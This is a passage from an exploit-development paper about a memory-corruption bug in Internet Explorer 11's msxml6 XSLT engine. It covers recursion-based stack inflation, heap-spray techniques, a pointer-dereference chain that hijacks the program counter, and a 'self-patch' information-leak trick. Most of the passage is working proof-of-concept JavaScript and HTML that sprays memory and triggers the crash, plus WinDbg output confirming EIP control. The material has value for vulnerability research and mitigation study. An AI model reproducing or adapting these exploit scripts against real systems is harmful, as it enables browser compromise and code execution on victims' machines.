<xsl:with-param name="using" select="2"/>
</xsl:call-template>
</xsl:element>
</xsl:template>
<xsl:template name="dohanoi">
<xsl:param name="n"/>
<xsl:param name="to"/>
<xsl:param name="from"/>
<xsl:param name="using"/>
<xsl:if test="number($n) > 0">
<xsl:call-template name="dohanoi">
<xsl:with-param name="n" select="number($n) - 1"/>
<xsl:with-param name="to" select="$using"/>
<xsl:with-param name="from" select="$from"/>
<xsl:with-param name="using" select="$to"/>
</xsl:call-template>
<xsl:element name="move">
<xsl:attribute name="from">
<xsl:value-of select="$from"/>
</xsl:attribute>
<xsl:attribute name="to">
<xsl:value-of select="$to"/>
</xsl:attribute>
</xsl:element>
<xsl:call-template name="dohanoi">
<xsl:with-param name="n" select="number($n) - 1"/>
<xsl:with-param name="to" select="$to"/>
<xsl:with-param name="from" select="$using"/>
<xsl:with-param name="using" select="$from"/>
</xsl:call-template>
<xsl:for-each select="*">
<xsl:apply-templates/>
</xsl:for-each>
</xsl:if>
</xsl:template>
<xsl:template name="xxx_nonexistent" match="//xxx[position()]" />
</xsl:stylesheet>
Sadly, the XSLT-based recursion inflates the stack above and not below the
crashing pointer sources stack frame, and thus the recursion does not
affect the crashing context at all:
ChildEBP RetAddr
0ed783e8 711b60cc msxml6!XEngine::stns
0ed78588 711b60cc msxml6!XEngine::frame+0x84
0ed78728 711b60cc msxml6!XEngine::frame+0x84
0ed788c8 711b60cc msxml6!XEngine::frame+0x84
0ed78a68 711b60cc msxml6!XEngine::frame+0x84
0ed78c08 711b60cc msxml6!XEngine::frame+0x84
0ed78da8 711b60cc msxml6!XEngine::frame+0x84
; skipped many frame()'s
0ed7b5e8 msxml6!XEngine::frame+0x84
; --> the vulnerable stack frame <--
0ed7b668 711c3e2d msxml6!XEngine::frame+0x84
0ed7b710 7122ffb0 msxml6!XEngine::execute+0x1b4
0ed7b76c 7122fee3 msxml6!XUtility::executeXCode+0x90
0ed7b7c0 7122fe2b msxml6!XUtility::transformNode+0x4a
0ed7b82c 7122fda2 msxml6!DOMNode::transformNode+0xa6
...
--[ 3.2 - Inflating the stack 2: JavaScript recursion
After the fail with XSLT recursion I turned back to JavaScript. The
following simple factorial implementation will produce a massive
recursion on the stack:
function factorial(n) {
if(n == 0) {
trigger();
return 1
} else {
return n * factorial(n - 1);
}
}
...
<body onload="factorial(63)">
The vulnerability must be triggered from within the recursive code in
order to enjoy the inflated stack situation:
msxml6!XEngine::stns+0x6:
711c9c85 mov edx,dword ptr [eax+8] ds:0023:03a004ca=????????
0:005> !address eax
Usage: PageHeap
Base Address: 03961000
End Address: 03a60000
Region Size: 000ff000
State: 00002000 MEM_RESERVE
Protect: <info not present at the target>
Type: 00020000 MEM_PRIVATE
Allocation Base: 03960000
Allocation Protect: 00000001 PAGE_NOACCESS
More info: !heap -p 0x3541000
More info: !heap -p -a 0x3a004c2
0:005> !heap
Index Address Name Debugging options enabled
1: 016a0000
2: 015e0000
3: 00010000
4: 019f0000
5: 03720000 < landed here
6: 06470000
7: 06900000
8: 06cd0000
9: 07cb0000
10: 07dd0000
11: 09380000
12: 07d60000
13: 0c500000
14: 0c670000
15: 0cd30000
This time a valid userland address was accessed, and the access violation
was caused merely by the lack of a busy allocation on the address.
According to the observations made across multiple tests, the thread
stack will always start slightly below the edge of the memory page:
test 1:
0532fbbc 00000000 ntdll!_RtlUserThreadStart+0x1b
test 2:
04d7fd34 00000000 ntdll!_RtlUserThreadStart+0x1b
test 3:
04a5ffd8 00000000 ntdll!_RtlUserThreadStart+0x1b
test 4:
055bfe80 00000000 ntdll!_RtlUserThreadStart+0x1b
More precisely, the exact address of the beginning of the stack is
variable within the range of roughly 0x600 bytes, and so are the pointers
to stack-based variables; thus, the crashing pointer would be variable by
0x06000000 on x86 systems, which means that the initial invalid memory
access would be observed at a random memory address within a 100 Mb
memory range.
At this point we have two separate problems: first, to quickly fill at
least 200-300 Mb of memory with controlled data (100 Mb required to catch
the initial memory access, plus the room for secondary pointer
dereference padding, plus some compensation for the allocation addresses
variability), and second, to direct the crashing pointer into a specific
region of that memory.
Note that, although heap spraying is considered a bad practice for a good
reason, and that it's highly constrained if not impossible on 64bit
systems with 128G of memory space to fill, but the nature of our
vulnerability does not allow for an alternative approach. So, let's just
take it as an exercise in the artful dealing with whatever is.
--[ 3.4 - Filling the memory 1: images
Because the memory region that must be controlled is rather big, my
initial idea was to utilize some pre-calculated big objects for filling
it, such as images. The core of the idea is that, every piece of data
that can be consumed and processed by the target application (e.g. output
or rendered) has its place and a representation in the target process
memory. Thinking like that we don't get caught in stereotypical terms of
'heap spraying' and the specific techniques associated with it, many of
which are already mitigated in browsers.
The idea of using graphical images in vulnerability development is not
new. It was first introduced in 2006 by Sutton et al.[3], whose research
focused mainly on the aesthetics of shellcode steganography in images
rather than solving of any problems of heap spraying (as there were none
at that time). Later, a few researchers revisited the same idea in the
context of heap spraying, but it has never found a real application,
mainly because bitmaps (as the only format capable of incorporating a
byte pattern 'as is') are huge and can only be shrinked with the help of
server-side measures, while using other image formats for memory control
purposes is burdened with calculation problems of recompression.
Apart from the server-side GZIP compression, another solution that's never
publicly noted is PNG. The PNG compression is very simple and does not
affect the bitmap structure at large. As a result, a 2Mb BMP image
containing a simple 1-byte pattern can be converted into a ~500 bytes PNG
image, that will be decompressed back into the original bitmap in the
rendering process memory.
There are two problems however:
1. The more variable is the source bitmap pattern, the bigger is the
resulting PNG image; a natural limitation of any compression.
2. The decompressed PNG has extra bytes in the bitmap data, injected after
every 3 bytes of the original bitmap. It's probably a transparency channel
or some other data specific to the PNG format.
The good news:
1. At the point when the PNG image is loaded and decompressed by the
browser but is not yet displayed on the web page, the bitmap data in the
process memory fully corresponds to the source BMP.
2. A large image is mapped into a comparably large and continuous chunk of
memory, located at a somewhat predictable memory offset.
The PNG spraying technique proved to be not suitable for this particular
case because a highly variable memory padding pattern would be required,
and so the images would have to be too big anyway. However it still looks
like an interesting technique for rapid filling of huge memory areas with
a simple byte pattern.
--[ 3.5 - Filling the memory 2: integers
After testing various memory filling techniques, I've finally settled on
integer arrays. The following JavaScript code will quickly fill 400Mb of
the memory of Internet Explorer 11 with a continuous constant-dword spray:
var intArr = new Array;
var count = (0x19000000-0x20)/4;
intArr[0] = 0x01c0ffee; // marker // s 0 l?80000000 ee ff c0 01
for(var i=1; i<=count; i++)
intArr[i] = 0x17151715;
alert('done');
It's curious to note that varying the values in the spraying loop may
sometimes result in an internal exception in IE, e.g. when trying to fill
more than 400 Mb of the browser memory, or using an 'AAAA' integer
equivalent for the filling. This looks like a protection from heap
spraying, but it does not pose a major obstacle to the task.
The resulting memory filling is distributed across two big and continuous
allocations as follows:
0:028> s 0 l?80000000 ee ff c0 01
0531b4f0 ee ff c0 01 f8 ff ff ff-00 00 00 00 00 00 00 00 .............
; just the marker dword, not relevant
08391860 ee ff c0 01 15 17 15 17-15 17 15 17 15 17 15 17 .............
; a <0x200 bytes chunk, not relevant
085dd0d8 ee ff c0 01 15 17 15 17-15 17 15 17 15 17 15 17 .............
; a <0x10 bytes chunk, not relevant
085de510 ee ff c0 01 15 17 15 17-15 17 15 17 15 17 15 17 .............
; a <0x200 bytes chunk, not relevant
12da5a18 ee ff c0 01 e3 ff c0 01-ce ff c3 01 b8 ff cc 01 .............
; random garbage
2c540020 ee ff c0 01 15 17 15 17-15 17 15 17 15 17 15 17 .............
; the array, part 1
3eec0020 ee ff c0 01 15 17 15 17-15 17 15 17 15 17 15 17 .............
; the array, part 2
The first allocation looks like simply unfinished, stopped around 300Mb,
while the second allocation is full, and both of them are contiguous:
0:028> s 0 l?80000000 ee ff c0 01
...
2c540020 ee ff c0 01 15 17 15 17-15 17 15 17 15 17 15 17 .............
3eec0020 ee ff c0 01 15 17 15 17-15 17 15 17 15 17 15 17 .............
0:028> ? 3eec0020-2c540020
Evaluate expression: 311951360 = 12980000
0:028> db 2c540020+12980000-30
; this is the borderline between the 1st and the 2nd allocations
3eebfff0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 .............
3eec0000 00 00 00 00 90 c4 fb 1e-00 00 00 00 00 00 00 00 .............
3eec0010 00 00 00 00 f9 ff 3f 06-20 f1 be 07 00 00 00 00 ......?. ....
3eec0020 ee ff c0 01 15 17 15 17-15 17 15 17 15 17 15 17 .............
3eec0030 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 .............
3eec0040 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 .............
3eec0050 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 .............
3eec0060 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 .............
0:028> db 2c540020+12000000
; end of the 1st allocation is somewhere in between sizes
; 12000000 and 12980000
3e540020 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 .............
3e540030 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 .............
3e540040 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 .............
3e540050 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 .............
3e540060 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 .............
3e540070 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 .............
3e540080 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 .............
3e540090 15 17 15 17 15 17 15 17-15 17 15 17 15
;the second allocation:
0:028> db 3eec0020+19000000
; pointers after the end of the allocation
57ec0020 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 .............
57ec0030 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 .............
57ec0040 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 .............
57ec0050 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 .............
57ec0060 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 .............
57ec0070 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 .............
57ec0080 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 .............
57ec0090 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 .............
0:028> db 3eec0020+19000000-30
; end of the second allocation
57ebfff0 15 17 15 17 15 17 15 17-15 17 15 17 15 17 15 17 .............
57ec0000 15 17 15 17 02 00 00 80-02 00 00 80 02 00 00 80 .............
57ec0010 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 .............
57ec0020 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 .............
57ec0030 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 .............
57ec0040 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 .............
57ec0050 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 .............
57ec0060 02 00 00 80 02 00 00 80-02 00 00 80 02 00 00 80 .............
Considering the addressing predictability of the allocations, two
observations can be made across multiple tests:
1. Both allocations are aligned by 16 pages, added 0x20 bytes header with
full page heap setting enabled (or 0x8 with the default setting).
2. The memory addresses of both allocations are highly predictable.
In fact, the addresses of the two allocations would vary across the tests
by 'just' approximately 0x1'000'000 bytes, which is not significant in
terms of a 0x19'000'000+0x12'000'000 nearly continuous controlled memory
space:
; windbg script log edited for readability
; produced by re-launching the app and recording the same allocations
; shows the addresses of the two intarray allocations
Opened log file 'c:\users\user\desktop\windbg.log'
0x27f30020
0x3a8b0020
Opened log file 'c:\users\user\desktop\windbg.log'
0x283f0020
0x3ad70020
Opened log file 'c:\users\user\desktop\windbg.log'
0x27ea0020
0x3a820020
Opened log file 'c:\users\user\desktop\windbg.log'
0x28530020
0x3aeb0020
Opened log file 'c:\users\user\desktop\windbg.log'
0x284e0020
0x3ae60020
Opened log file 'c:\users\user\desktop\windbg.log'
0x28aa0020
0x3b420020
Opened log file 'c:\users\user\desktop\windbg.log'
0x28e60020
0x3b7e0020
Opened log file 'c:\users\user\desktop\windbg.log'
0x28440020
0x3adc0020
Opened log file 'c:\users\user\desktop\windbg.log'
0x28560020
0x3aee0020
Opened log file 'c:\users\user\desktop\windbg.log'
0x28480020
0x3ae00020
Opened log file 'c:\users\user\desktop\windbg.log'
0x28a00020
0x3b380020
Without researching the exact reasons of the highly predictable memory
allocations, it seems logical if not inevitable that, the bigger the
allocation, the more predictable its address would be on x86 systems
because of the memory space limitation. This speculation is totally
confirmed by observations with various allocation sizes.
Considering the reliability risks of the allocations disposition in the
memory, the expected memory map will likely change in the following
situations:
1. Additional modules loaded by the browser, such as a BHO or an ActiveX.
This factor cannot possibly be remote-controlled. On the other hand, the
average size of an executable module is insignificant in terms of a 400Mb
controlled memory allocation, so it shouldn't distort the expected memory
map too much.
2. Additional web content processed in the same tab (images loaded,
JavaScript executed etc.), that would change the stack situation. Because
each IE tab is loaded in a separate process, this factor can be totally
controlled by the vulnerable web page.
3. Microsoft changes IE internals. Not possible to control.
4. Full page heap setting enabled or disabled. The full page heap setting
changes the entire memory layout significantly enough that the
vulnerability control code must be fine-tuned with this regard
specifically.
All in all, at that point the memory landing space looks safe enough to
be addressed.
--[ 3.6 - Recursion control
Having the control over the continuous region of memory in the range
[0x28000000,0x57000000], it would probably be the safest to direct the
crashing pointer in the middle of the range, e.g. around 0x47000000. To
achieve this, the JavaScript recursion count must be specifically
calculated to reach the crashing procedure around the stack offset of
0x...4700.
The size of one JavaScript recursion frame in Internet Explorer 11 is
0x320, each frame corresponding to one cycle of the factorial algorithm:
; JavaScript factorial algorithm recursion on the stack
0529b0d4 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1e8
0529b0e0 0x86c0fd9
0529b428 jscript9!Js::InterpreterStackFrame::Process+0xbd7
0529b544 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1e8
0529b550 0x86c0fd9
0529b898 jscript9!Js::InterpreterStackFrame::Process+0xbd7
0529b9b4 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x1e8
0529b9c0 0x86c0fd9
Provided that the vulnerable browser will crash randomly around the stack
offsets 0x...ac00 to 0x...b300, the stack must be inflated by
0xb650(+-0x350)-0x4700=0x6f50(+-0x350) bytes, which requires
(0x6f50+-0x350)/0x320=35+-1 cycles of recursion, or the call to
factorial(35). Indeed, testing this would cause an access violation
around the desired address:
(268.2a4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=489019b1 ebx=1a819ff0 ecx=1a819f42 edx=6f6e4430 esi=1a819f40
edi=19b14770 eip=6f6f9c85 esp=19b1476c ebp=19b14888 iopl=0
nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
msxml6!XEngine::stns+0x6:
6f6f9c85 mov edx,dword ptr [eax+8] ds:0023:489019b9=????????
--[ 3.7 - Program counter control
According to the vulnerable XCode execution logic, the address of the
dynamic call in XEngine::brns() is retrieved via three consecutive
dereferences from the crashing pointer:
msxml6!XEngine::stns:
6f6f9c7f mov eax,dword ptr [ecx+0B0h] ; retrieved ptr0 (eax)
6f6f9c85 mov edx,dword ptr [eax+8] ; ptr0 -> crash / ptr1 (edx)
6f6f9c88 push esi
6f6f9c89 lea esi,[edx+0Ch]
6f6f9c8c mov dword ptr [eax+8],esi
6f6f9c8f mov eax,dword ptr [edx+4] ; ptr1 -> ptr2 (eax)
6f6f9c92 push 8
6f6f9c94 mov dword ptr [ecx+0A4h],eax ; store ptr2
6f6f9c9a pop eax
6f6f9c9b pop esi
6f6f9c9c ret
...
msxml6!XEngine::brns:
712da250 mov edi,edi
712da252 push esi
712da253 mov esi,ecx
712da255 mov ecx,dword ptr [esi+0A4h];restore ptr2 (2 bytes randomized)
712da25b mov eax,dword ptr [ecx] ; ptr2 -> ptr3 (eax)
712da25d call dword ptr [eax] ; ptr3 -> shellcode
Thus, the landing memory contents at ptr0 must satisfy the following
dereference logic:
Ptr0 (initial AV / address in the spray ) ->
ptr1 -> ptr2 -> ptr3 -> shellcode
In the above chain of pointers, pointers 1 and 3 are precise, as they are
read from the memory padding; but pointer 0 is random within a 100Mb
range due to the nature of the bug, and pointer 2 is only page-precise
due to the 2-byte memory alignment differences in the procedures where
the pointer is stored and then restored.
Thanks to the randomized memory access only on the 0th and the 2nd
pointers, two split memory areas are required to contain the entire
dereference chain, one part (and the first dereferenced) containing the
pointers to the second part, the second part containing the pointers to
the shellcode, and the presize addresses treated specifically:
function poc()
{
// !!! +hpa required !!!
// bp msxml6!xengine::stns; bp msxml6!xengine::brns; g;
var intArr = new Array;
intArr[0] = 0x01c0ffee; // marker // s 0 l?80000000 ee ff c0 01
var count = (0x19000000-0x20)/4; // 400 Mb
for(var i=1; i<=count; i++)
{
// part1: ptr0/ptr1 read
if ( i<(0x12000000/4) )
{
if ( ((i*4+0x20)&0xffff) == (0x3c3c+4) ) //if it's a ptr1 read
intArr[i] = 0x54545454; // then yield ptr2
else
intArr[i] = 0x3c3c3c3c; // otherwise, ptr1
}
// part2: ptr2 read
else
intArr[i] = 0x00badd1e; // ptr3 -> shell code
}
crash();
}
The numerical values in the script were chosen empirically with the full
page heap enabled; tweak them if anything doesn't work.
And the result should be:
(ddc.f28): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00badd1e ebx=11f71ff0 ecx=5454492c edx=5454492c esi=11f71f40
edi=04ef4740 eip=6f6fa25d esp=04ef4738 ebp=04ef4858 iopl=0
nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b
gs=0000 efl=00210202
msxml6!XEngine::brns+0xd:
6f6fa25d ff10 call dword ptr [eax] ds:0023:00badd1e=????????
--[ 4 - The self-patch
The next section will discuss the possible useful application of the
gained control over the vulnerability without any shell code execution:
self-patching of the vulnerable process.
--[ 4.1 - A leak without a leak
Unlike many memory corruption vulnerabilities, this particular one does
not allow for an arbitrary memory write that could be used to leak some
information allowing to bypass DEP and ASLR and to execute arbitrary code
within the IE sandbox. But the nature of the vulnerability would still
allow for a small and limited information leak, which can be used to
restore the memory values, required to continue the normal execution (
CoE) of the vulnerable application.
Specifically, because the crashing pointer contains the upper word of the
stack offset in its lower part due to the misaligned memory read, and the
controlled memory space is page-aligned, it is possible to 'leak' part of
the stack address by translating the accessed memory address into the
value read from that address with the help of the carefully calculated
memory padding.
There are a few key points to understand about our precisely patterned
padding.
1. We start with the idea that each dword in the spray must contain the
value of its own offset to the page. Page-size patterning is enough
because we only want to leak about 2 bytes of the stack address.
2. Next, we calculate all pattern values based on the spray loop counter
as follows: i_pattern = i*4%0x1000;
3. We ensure that the aligned spray will as well align in memory by
allocating a big enough continuous chunk of memory. Big memory
allocations tend to be 16-pages aligned, i.e. starting with an address
like 0xXYZQ0000 (see also windbg.log above), which looks like a sane
memory optimization strategy with the
heap manager.
4. Next, because the padding must resolve two consecutive memory
dereferences while preserving the leaked bits of data inside the actual
pointers, we split the page-sized pattern in two halves and fill them
differently:
else if (i_pattern < 0x0700)
intArr[i] = ptr12base + ptr1;
else
intArr[i] = ptr12base + ptr2;
This trick is only possible because of very little entropy observed in the
high-order part of the randomly allocated stack offset, which tends to be
around 0x04xxxxxx-0x06xxxxxx. Hence we in fact only want to leak 11 bits
of the address and not 16, for which a 0x700 bytes pattern is sufficient.
5. We differentiate the pointers in the two parts of the pattern by
adding and removing a hand-picked, semi-random delta value to the leaking
part of the pointer:
var delta = 0x3300;
6. Finally, we adjust the calculations to the values of the respective
dereference indexes, e.g. [eax+8] for the first read, as well as to the
size of the heap header, which is 0x20 with full page heap:
ptr1 = (i_pattern - 8 + 0x20 + delta);
ptr2 = (i_pattern - 4 + 0x20 - (delta&0xfff));
Note that we mindfully use a delta value bigger than the size of the
pattern, and then we also preserve the 2 higher bits of the added delta
value in the 2nd stage pointers, that will eventually increase the
reliability of the padding in the cases of misaligned memory access by
ensuring that the majority of bytes in the spray will be equal to 0x38,
and thus the final pointer will likely point into the controlled memory
around 0x38xxxxxx, regardless of both the reading
alignment and the leaked bits in the pointer.
As a result of the correctly calculated and a correctly positioned
padding, the initially read memory offset will re-surface in the program
as the low-order word of the value that's eventually read from the range
0x3838xxxx:
0:007> dd 4b6004e0+8
; 4b6004e0 = the original AV pointer
; 0th read // mov edx,dword ptr [eax+8]
4b6004e8 383837e0 383837e4 383837e8 383837ec
4b6004f8 383837f0 383837f4 383837f8 383837fc
4b600508 38383800 38383804 38383808 3838380c
4b600518 38383810 38383814 38383818 3838381c
4b600528 38383820 38383824 38383828 3838382c
4b600538 38383830 54545454 38383838 3838383c
4b600548 38383840 38383844 38383848 3838384c
4b600558 38383850 38383854 38383858 3838385c
0:007> dd 383837e0+4
; 1st read // 04e0 is the high word of the stack address
383837e4 383804e0 383804e4 383804e8 383804ec
383837f4 383804f0 383804f4 383804f8 383804fc
38383804 38380500 38380504 38380508 3838050c
38383814 38380510 38380514 38380518 3838051c
38383824 38380520 38380524 38380528 3838052c
38383834 38380530 38380534 54545454 3838053c
38383844 38380540 38380544 38380548 3838054c
38383854 38380550 38380554 38380558 3838055c
The read value, that is the two leaked bytes of the stack offset, will
then be used by the application itself to restore the original 3rd
pointer, which results in retrieving of the correct address of the
dynamic call in XEngine::brns(), and resuming of the program execution
like if there was no vulnerability:
0:007> p
; our crafted value (read from the memory padding)
; with 2 leaked bytes of the stack address 04e0:
eax=383804e0
...
; write the crafted value
msxml6!XEngine::stns+0x15:
6f6f9c94 8981a4000000 mov dword ptr [ecx+0A4h],eax
; value written via the misaligned pointer:
0:007> dd ecx+a4 l1
11b3dfe6 4c1404e0
; value read via the sane pointer:
0:007> dd ecx+a4-2
11b3dfe4 04e04c2c
; looks good:
0:007> dds 04e04c2c
04e04c2c 6f6e44b8 msxml6!RTFNodeSet::`vftable'
; the original call pointer restored:
0:007> dds poi 04e04c2c
6f6e44b8 6f6e44d5 msxml6!XPSingleTextNav<WhitespaceCheck>::_getParent
And the result is the target application passing the crash-inducing code
without a crash:
*------------------------*
| Message from webpage X |
|------------------------|
| |
| Look, no calc! |
| |
| / OK / |
*------------------------*
--[ 4.2 - The offset-to-value translation
As per my testing boxen, the upper word of the stack address would never
exceed 0x06xx, and thus the crashing pointer would always fall within the
first 0x700 bytes of the target memory page, so the remaining 0x900 bytes
of the page may be used for the translation purposes:
var i_pattern = i*4%0x1000; // index into the current page
ptr1 = (i_pattern - 8 + 0x20 + delta);
ptr2 = (i_pattern - 4 + 0x20 - (delta&0xfff));
if (i_pattern < 0x0700)
intArr[i] = ptr12base + ptr1;
else
intArr[i] = ptr12base + ptr2;
The problem here is that the original crashing pointer is not guaranteed
to be correctly aligned, while the memory translation pattern must be
dword-aligned. That is, the correctly aligned memory access will result
in reading a value like 0x3838XYZQ from the spray, where XYZQ are the
leaked bits of the stack offset. But let's see what's read with a
misaligned pointer:
a. off by 1: 0x38XYZQ38
In this case the pointer still falls into the controlled memory area, but
the XY bits of the leaked stack address will be mangled, because we can
only guarantee 64Kb alignment of memory allocations.
b. off by 2: 0xXYZQ3838
All bits of the stack address are lost, and the pointer looks
unpredictable. But we can still enforce this to point to the controlled
memory around 0x38xxxxxx by adding a specially crafted delta value of
0x3300 to calculated pointers in the spray as was mentioned earlier. So,
e.g. the read value 0x07073838 will become a valid pointer to 0x3a373838.
This is possible because the high 4 bits of the stack offset tend to be
zero.
c. off by 3: 0xZQ3838XY
Most important bits of the stack offset are lost in this case, and also
the ZQ leaked bits are highly entropic and cannot be made predictable as
in the case b. Not much can be done with this case, that's likely to
point into random memory and possibly cause an access violation.
One thing to notice about the misalignment cases above is that both
pointers a. and b. quite logically end with 0x38 that we use as the
pattern base. So, we can catch 2 out of 3 misalignment cases in the code
by checking the final byte against this value, and then address them
specifically e.g. to fall back to raw EIP control instead of allowing a
crash:
// the address ends with 0x38+4:
if ( ((i*4+0x20)&0xff) == (pbyte+4) )
intArr[i] = ptrcall;
...
0:007> r
eax=4fc0055e ; the crashing pointer
...
0:007> dd eax+8
; 0th read: misaligned
4fc00566 38603838 38643838 38683838 386c3838
4fc00576 38703838 38743838 38783838 387c3838
4fc00586 38803838 38843838 38883838 388c3838
4fc00596 38903838 38943838 38983838 389c3838
4fc005a6 38a03838 38a43838 38a83838 38ac3838
4fc005b6 38b03838 38b43838 38b83838 38bc3838
4fc005c6 38c03838 38c43838 38c83838 38cc3838
4fc005d6 38d03838 38d43838 38d83838 38dc3838
0:007> dd 38603838+4
; 1st read: special value
3860383c 54545454 3838053c 38380540 38380544
3860384c 38380548 3838054c 38380550 38380554
3860385c 38380558 3838055c 38380560 38380564
3860386c 38380568 3838056c 38380570 38380574
3860387c 38380578 3838057c 38380580 38380584
3860388c 38380588 3838058c 38380590 38380594
3860389c 38380598 3838059c 383805a0 383805a4
386038ac 383805a8 383805ac 383805b0 383805b4
0:007> dd 54545454
; 2nd read / call address
54545454 00badd1e 00badd1e 00badd1e 00badd1e
54545464 00badd1e 00badd1e 00badd1e 00badd1e
54545474 00badd1e 00badd1e 00badd1e 00badd1e
Regarding the last, 3-bytes misaligned memory access case that reads
pointers like 0xZQ3838XY where ZQ is totally random, this is asking to
precisely control the contents of entire memory space of the process,
that may be not impossible but is likely not worth it. So I leave it
alone as a crash.
The final code is:
<!doctype html>
<html>
<head>
<script>
function crash()
{
xslcontent=
'<xsl:stylesheet
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" \\
version="1.0"><xsl:template name="main_template"
match="/"><xsl:for-each \\
select="*"><xsl:apply-templates/></xsl:for-each>
</xsl:template><xsl:template \\ name="xx"
match="x[position()]" /></xsl:stylesheet>';
srcTree=new ActiveXObject("Msxml2.DOMDocument.6.0");
xsltTree=new ActiveXObject("Msxml2.DOMDocument.6.0");
xsltTree.loadXML(xslcontent);
alert("crash");
srcTree.transformNode(xsltTree);
}
function selfpatch()
{
// !!! +hpa required !!!
// bp msxml6!xengine::stns;bp msxml6!xengine::brns;g;
var intArr = new Array;
intArr[0] = 0x01c0ffee; // marker // s 0 l?80000000 ee ff c0 01
var count = (0x19000000-0x20)/4; // 400 Mb
// ptr0(spray/crash)->ptr1->ptr2->ptr3->shellcode
// 0x3a..0x40.. -> 0x3838xxxx -> 0x3838yyyy -> patch or shellcode
var pbyte = 0x38; // play with me
// landing for the initial memory access:
var ptr12base = (pbyte<<24)+(pbyte<<16); //0x38380000
var ptr1 = 0; // calculated from the page offset
var ptr2 = 0; // calculated from the page offset
var ptrcall = 0x54545454; // 0x5454xxxx -> pointers to call address
var delta = 0x3300;
// delta is added and removed to segregate the 1st
// and the 2nd memory access areas within the pattern;
// the additional bits above 0x1000 are used to enforce
// the successful 1-byte misaligned memory access
for(var i=1; i<=count; i++)
{
var i_pattern = i*4%0x1000; // index into the current page
// let's fill the spray tail with plain pointers to shellcode
if ( i>(0x12000000/4) ) // which defines where the 'tail' begins
{
intArr[i] = 0x00badd1e;
continue;
}
ptr1 = (i_pattern - 8 + 0x20 + delta);
ptr2 = (i_pattern - 4 + 0x20 - (delta&0xfff));
// misaligned memory access: fallback to code exec
if ( ((i*4+0x20)&0xff) == (pbyte+4) )
intArr[i] = ptrcall;
// well aligned memory access: restore the pointers
else if (i_pattern < 0x0700)
intArr[i] = ptr12base + ptr1;
else
intArr[i] = ptr12base + ptr2;
}
crash();
alert("Look, no calc!");
}
function factorial(n)
{
if (n == 0)
{
selfpatch();
return 1;
}
else
return n * factorial(n - 1);
}
</script>
</head>
<body onload="factorial(30);">
<form id="a">
</form>
<dfn id="b">
</dfn>
<div id="resTree"></div>
</body>
</html>
On my testing boxes, the final proof-of-concept code yields a self-patch
in 25% of test cases, a fallback control in 50% of cases, and the
inevitable crash in 25% of cases. This result agrees with the theoretical
expectation of the maximal possible gain from the offset translation
approach. The previous code-execution only proof-of-concept code should
yield EIP control in 100% of test cases.
--[ 5 - Further work
Taking the bug to arbitrary code execution is considered out of scope for
this paper, but let's review the state of the art.
Although the bug itself allows for the full control over the program
counter, as it was showed with the proof-of-concept provided in the
section 3.7, such a possibility is inherently burdened with two factors:
1. A heap spray is required due to the entropic nature of the bug, that
makes the pc control less reliable, if not...
2. ...if not impossible, in the case of x64 bit systems with memory too
wide to spray.
Few years ago a browser EIP control would be considered a 'game end'. But
today it's just the beginning of a completely different game, or rather,
of two different games: mitigations bypass for a sandboxed code
execution, and a sandbox bypass for the arbitrary code execution.
In this game, Internet Explorer 11 is possibly the 2nd best hardened
popular product, after the Google Chrome. Each major version of IE in the
past years has introduced a major improvement to the system of security
mitigations, up to the point when Microsoft was able to back and test the
state of the product security with a $100k worth Bypass bounty, which
says a lot. Another important indicator is the statistics for real IE11
exploits that may be observed both ITW (in the wild) and in the
metasploit, that's pretty scarce.
Among the dozens of mitigations included in the modern IE[4], many old
mitigations have become largely irrelevant, along with the corresponding
classes of bugs that were gradually audited out of existence (such as
buffer overflows and the corresponding GS stack cookie mitigation). On
the other hand, the newer mitigations for more realistic classes of bugs
such as Use-after-free are still too weak, e.g. the IsolatedHeap which is
only selectively relevant to certain bugs, or MemoryProtection which
includes the side-walks allowing to bypass it in
practice[5]. The new Control Flow Guard included in Windows 8.1 has been
bypassed both in the wild and in research[6] even before its full backward
deployment on the still-popular systems like Windows 7. Only two
mitigations before the sandbox are universally frustrating for a binary
researcher regardless of a bug class: DEP strictly in conjunction with a
forced ASLR.
The ForceASLR mitigation was introduced in IE10, and wiped a whole class
of easy and reliable DEP+ASLR bypass techniques which relied upon both
system and 3rd party DLLs compiled without the explicit support for
ASLR, allowing for constructing an executable ROP chain with pieces of
their code at known addresses.
Another opportunity that allowed to bypass DEP+ASLR in a generic way was
utilizing executable memory pages generated by 'Just in time' compiler of
Adobe Flash.[7] This technique had been mitigated early on, although it's
not clear whether it's completely dead. In any case, it is limited due to
the Adobe Flash dependency.
The main[stream] technique used today to bypass DEP+ASLR is to leak some
information about the process address space via a memory-leaking
